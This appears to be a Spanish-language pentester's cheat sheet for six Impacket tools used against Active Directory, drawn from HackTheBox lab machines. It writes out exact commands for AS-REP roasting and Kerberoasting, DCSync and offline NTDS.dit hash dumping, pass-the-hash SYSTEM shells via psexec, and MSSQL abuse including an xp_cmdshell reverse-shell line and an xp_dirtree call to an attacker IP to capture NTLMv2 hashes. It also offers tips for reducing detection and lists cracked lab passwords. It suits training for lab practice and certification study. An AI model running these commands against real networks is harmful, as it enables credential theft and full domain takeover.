Impacket es una colección de herramientas Python para trabajar con protocolos de red. En la práctica, para pentesting AD, uso como 6 de ellas constantemente. Esta es una referencia para esas 6 — qué hacen, cuándo usarlas, y los comandos exactos que corro.

Viene instalado en Kali por defecto. Cada herramienta tiene el prefijo impacket-.


impacket-GetNPUsers — AS-REP Roasting

Qué hace: Encuentra cuentas con Kerberos pre-authentication deshabilitado y dumpea sus hashes AS-REP. No se necesitan credenciales — solo necesitas una lista de usernames válidos.

Cuándo usarlo: Lo primero que pruebo en cualquier box de AD. Antes de brute-forcing, antes de cualquier otra cosa. Si pre-auth está deshabilitado en una cuenta, obtenés el hash gratis.

Uso Básico

# Con una lista de usernames (sin creds)
impacket-GetNPUsers DOMAIN.local/ -dc-ip $ip -usersfile users.txt -format hashcat -outputfile asrep.txt

# Con creds válidas (enumera todas las cuentas vulnerables automaticamente)
impacket-GetNPUsers DOMAIN.local/user:'password' -dc-ip $ip -request -format hashcat -outputfile asrep.txt

Flags Clave

FlagQué hace
-usersfileLista de usernames a probar (uno por línea)
-format hashcatOutput en formato hashcat (mode 18200). Usar -format john para john
-outputfileGuardar hashes en archivo
-requestRealmente solicitar el TGT (necesario cuando usas creds)
-dc-ipIP del DC target

Crackear el Hash

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Cosas a Tener en Cuenta

  • La variante sin creds necesita una lista de usernames. Tenés que enumerar usernames primero — SMB null session, LDAP, kerbrute, lo que sea.
  • La variante con creds encuentra todas las cuentas vulnerables automáticamente. No necesitas lista de usernames.
  • Al guardar hashes con echo, usar comillas simples. Las comillas dobles corrompen los caracteres $ en el hash. Perdí tiempo debuggeando esto en Forest.

Dónde Lo Usé

  • Forest — AS-REP Roasting a svc-alfresco sin creds. Obtuve el hash, lo crackeé a s3rvice. Eso fue todo el foothold.
  • Blackfield — Lo mismo. Coseché ~300 usernames del share SMB profiles$, se los di a GetNPUsers, obtuve el hash de la cuenta support.

impacket-GetUserSPNs — Kerberoasting

Qué hace: Encuentra cuentas con SPNs (Service Principal Names) seteados y solicita sus TGS tickets. El ticket está encriptado con el hash de la password de la cuenta — crackeás el ticket, crackeás la password.

Cuándo usarlo: Una vez que tengas cualquier credencial válida de dominio. Cualquier usuario autenticado puede hacer Kerberoast. Esto siempre vale la pena correrlo.

Uso Básico

# Solo enumerar SPNs
impacket-GetUserSPNs DOMAIN.local/user:'password' -dc-ip $ip

# Enumerar Y solicitar tickets
impacket-GetUserSPNs DOMAIN.local/user:'password' -dc-ip $ip -request -outputfile kerberoast.txt

Flags Clave

FlagQué hace
-requestRealmente solicitar los TGS tickets (sin esto, solo lista SPNs)
-outputfileGuardar hashes en archivo
-dc-ipIP del DC target

Crackear el Hash

hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
# o
john kerberoast.txt --wordlist=/usr/share/wordlists/rockyou.txt

Cosas a Tener en Cuenta

  • Necesitas creds válidas primero. A diferencia de AS-REP Roasting, Kerberoasting requiere autenticación.
  • Machine accounts y managed service accounts generalmente tienen passwords aleatorias de 128 caracteres. Enfocarse en user accounts con SPNs — esas son las que tienen passwords crackeables.
  • -request es fácil de olvidar. Sin él solo obtenés una lista de SPNs, no los hashes reales.

Dónde Lo Usé

  • Active — Después de obtener creds de SVC_TGS de GPP, hice Kerberoast a la cuenta Administrator. SPN era active/CIFS:445. Crackeó a Ticketmaster1968. Game over.

impacket-secretsdump — DCSync, SAM, NTDS.dit

Qué hace: Dumpea credenciales. Esta herramienta hace múltiples cosas dependiendo de lo que le des:

  • Remote DCSync — simula un request de replicación de domain controller para sacar todos los hashes del dominio
  • Local SAM dump — extrae hashes de los registry hives SAM + SYSTEM
  • Local NTDS.dit dump — extrae hashes del archivo de base de datos de AD

Remote DCSync

# Con password
impacket-secretsdump DOMAIN.local/user:'password'@$ip

# Con hash NTLM (pass-the-hash)
impacket-secretsdump DOMAIN.local/user@$ip -hashes :NTLM_HASH

Requiere derechos DCSync — es decir Replicating Directory Changes + Replicating Directory Changes All. Los Domain Admins tienen esto por defecto. En Forest, le otorgué estos derechos a svc-alfresco vía WriteDACL abuse antes de correr secretsdump.

Local NTDS.dit Dump

impacket-secretsdump -ntds ntds.dit -system system LOCAL

Cuando ya agarraste los archivos NTDS.dit y SYSTEM hive (via VSS snapshot, robocopy, lo que sea), esto los parsea offline. No se necesita conexión de red.

Flags Clave

FlagQué hace
-ntdsRuta al archivo NTDS.dit
-systemRuta al registry hive SYSTEM
-hashesAutenticación pass-the-hash (formato :NTLM_HASH — LM hash vacío)
-just-dc-ntlmSolo dumpear hashes NTLM (más rápido, menos ruidoso)
-just-dc-user USERSolo dumpear un usuario específico
LOCALParsear archivos locales en vez de conectar remotamente

Cosas a Tener en Cuenta

  • Remote DCSync es ruidoso. Genera eventos específicos de Windows (4662 con GUIDs de replicación). En un engagement real, SOC analysts (como yo antes) flaggearían esto. Usar -just-dc-ntlm o -just-dc-user para minimizar el ruido.
  • El formato de hash en la salida es LM:NTLM. Para pass-the-hash solo necesitas la parte NTLM (después de los dos puntos).
  • Para parseo local, necesitás ambos NTDS.dit y SYSTEM. SYSTEM contiene la boot key necesaria para descifrar los hashes.

Dónde Lo Usé

  • Forest — Remote DCSync después de otorgar a svc-alfresco derechos DCSync vía WriteDACL. impacket-secretsdump htb.local/svc-alfresco:'s3rvice'@$ip sacó el hash NTLM de Administrator.
  • Blackfield — Local NTDS.dit dump. Agarré ntds.dit + SYSTEM via VSS snapshot y robocopy /b, después impacket-secretsdump -ntds ntds.dit -system system LOCAL. Obtuve cada hash del dominio.

impacket-psexec — Shell con Creds

Qué hace: Te da una shell SYSTEM en un Windows box remoto usando credenciales válidas. Funciona sobre SMB (puerto 445). Sube un binario de servicio, crea un servicio Windows, lo inicia, te da una shell, y limpia al salir.

Uso Básico

# Con password
impacket-psexec DOMAIN.local/Administrator:'password'@$ip

# Con hash NTLM
impacket-psexec DOMAIN.local/Administrator@$ip -hashes :NTLM_HASH

Flags Clave

FlagQué hace
-hashesPass-the-hash (formato :NTLM_HASH)
-target-ipÚtil cuando la resolución de hostname es rara

Cosas a Tener en Cuenta

  • Requiere creds nivel admin y acceso de escritura a shares ADMIN$ o C$. Creds de usuario regular de dominio no funcionan.
  • Crea un servicio Windows — esto es detectable. AV/EDR pueden flaggearlo. Para OSCP, no importa. Para engagements reales, considerar alternativas como evil-winrm (WinRM, puerto 5985) o impacket-wmiexec.
  • La shell te deja como NT AUTHORITY\SYSTEM, no como el usuario con el que te autenticaste.
  • Si se cuelga o falla, el servicio puede no haber sido limpiado. Los intentos siguientes pueden fallar hasta que el servicio sea removido.

Alternativas

HerramientaProtocoloSigiloNotas
impacket-psexecSMB (445)BajoCrea un servicio, shell SYSTEM
impacket-wmiexecWMI (135)MedioSin creación de servicio, corre como el usuario
impacket-smbexecSMB (445)MedioUsa un servicio pero diferente
evil-winrmWinRM (5985)MayorPowerShell, necesita WinRM habilitado

Dónde Lo Usé

  • Activeimpacket-psexec active.htb/Administrator:'Ticketmaster1968'@$ip para la shell final después del Kerberoasting.

impacket-mssqlclient — Acceso MSSQL

Qué hace: Cliente MSSQL interactivo. Conectarse a Microsoft SQL Server, correr queries, habilitar y usar xp_cmdshell para ejecución de comandos del OS.

Uso Básico

# Autenticación Windows
impacket-mssqlclient user:'password'@$ip -windows-auth

# Autenticación SQL (default)
impacket-mssqlclient user:'password'@$ip

Comandos Built-in

Una vez conectado, estos son los comandos clave:

-- Revisar si sos sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin')

-- Habilitar xp_cmdshell (solo sysadmin)
enable_xp_cmdshell

-- Correr comandos del OS
xp_cmdshell 'whoami'

-- Reverse shell
xp_cmdshell 'powershell -e <BASE64_PAYLOAD>'

-- Robar hash NTLMv2 (funciona incluso sin sysadmin)
xp_dirtree '\\YOUR_IP\share'

Flags Clave

FlagQué hace
-windows-authUsar autenticación Windows/dominio en vez de SQL auth
-portPuerto custom si MSSQL no está en 1433

Cosas a Tener en Cuenta

  • -windows-auth importa. SQL auth y Windows auth son diferentes. Si uno falla, probá el otro. En Querier, la conexión fallo sin -windows-auth.
  • Passwords con $ necesitan comillas simples en bash. 'PcwTWTHRwryjc$c6' funciona. "PcwTWTHRwryjc$c6" no — bash interpreta $c6 como variable y corrompe la password.
  • enable_xp_cmdshell requiere rol sysadmin. Si tu usuario no es sysadmin, el comando falla silenciosamente o da error. Usar xp_dirtree + Responder para robar el hash NTLMv2 de la service account en cambio.
  • xp_dirtree + Responder es el fallback cuando xp_cmdshell está denegado. El SQL server hace una conexión SMB a tu máquina y Responder captura el hash. Hashcat mode 5600 para NTLMv2.

Dónde Lo Usé

  • Querier — Me conecté con creds de macro VBA usando -windows-auth. El usuario reporting no podía correr xp_cmdshell, así que usé xp_dirtree + Responder para robar el hash NTLMv2 de la service account. Lo crackeé, me reconecté como sysadmin, habilité xp_cmdshell, obtuve shell.

impacket-smbclient — Acceso a Archivos SMB

Qué hace: Cliente SMB interactivo para navegar y descargar archivos de shares. Similar a smbclient de Samba pero usa el stack de autenticación de Impacket.

Uso Básico

# Con password
impacket-smbclient DOMAIN.local/user:'password'@$ip

# Con hash NTLM
impacket-smbclient DOMAIN.local/user@$ip -hashes :NTLM_HASH

# Null session
impacket-smbclient DOMAIN.local/''@$ip -no-pass

Comandos Clave

shares          # Listar shares disponibles
use SHARE_NAME  # Conectarse a un share
ls              # Listar archivos
get file.txt    # Descargar un archivo
cd directory    # Cambiar directorio

Cosas a Tener en Cuenta

  • Generalmente uso smbclient (el de Samba) o nxc smb --shares para enumeración inicial. El smbclient de Impacket es útil cuando necesito la autenticación de Impacket (pass-the-hash, Kerberos tickets).
  • Para descargas de archivos grandes, smbclient de Samba es más confiable. La versión de Impacket se puede trabar con archivos grandes.

Referencia Rápida — Cuándo Usar Qué

SituaciónHerramientaNecesita Creds?
Revisar usuarios AS-REP Roasteablesimpacket-GetNPUsersNo (con lista de usuarios)
Revisar usuarios Kerberoasteablesimpacket-GetUserSPNsSi
Dumpear todos los hashes del dominio (DCSync)impacket-secretsdumpSi (derechos DCSync)
Parsear NTDS.dit offlineimpacket-secretsdump -ntds ... LOCALNo
Obtener shell SYSTEMimpacket-psexecSi (admin)
Conectarse a MSSQLimpacket-mssqlclientSi
Navegar shares SMBimpacket-smbclientDepende

Mi Orden de Recon AD

Este es aproximadamente el orden en que corro estas herramientas en una box de AD:

  1. GetNPUsers — AS-REP Roast primero. Sin creds. Hashes gratis si algo es vulnerable.
  2. GetUserSPNs — Kerberoast una vez que tengo cualquier cred válida.
  3. secretsdump — DCSync si consigo Domain Admin o derechos DCSync.
  4. psexec — Shell final con el hash o password de admin.

Todo lo demás (mssqlclient, smbclient) se usa cuando la box lo requiere.

El patrón a través de cada box de AD que he hecho: enumerar usuarios → AS-REP Roast → conseguir primeras creds → BloodHound → encontrar la ruta → caminar la ruta → secretsdump → psexec → listo.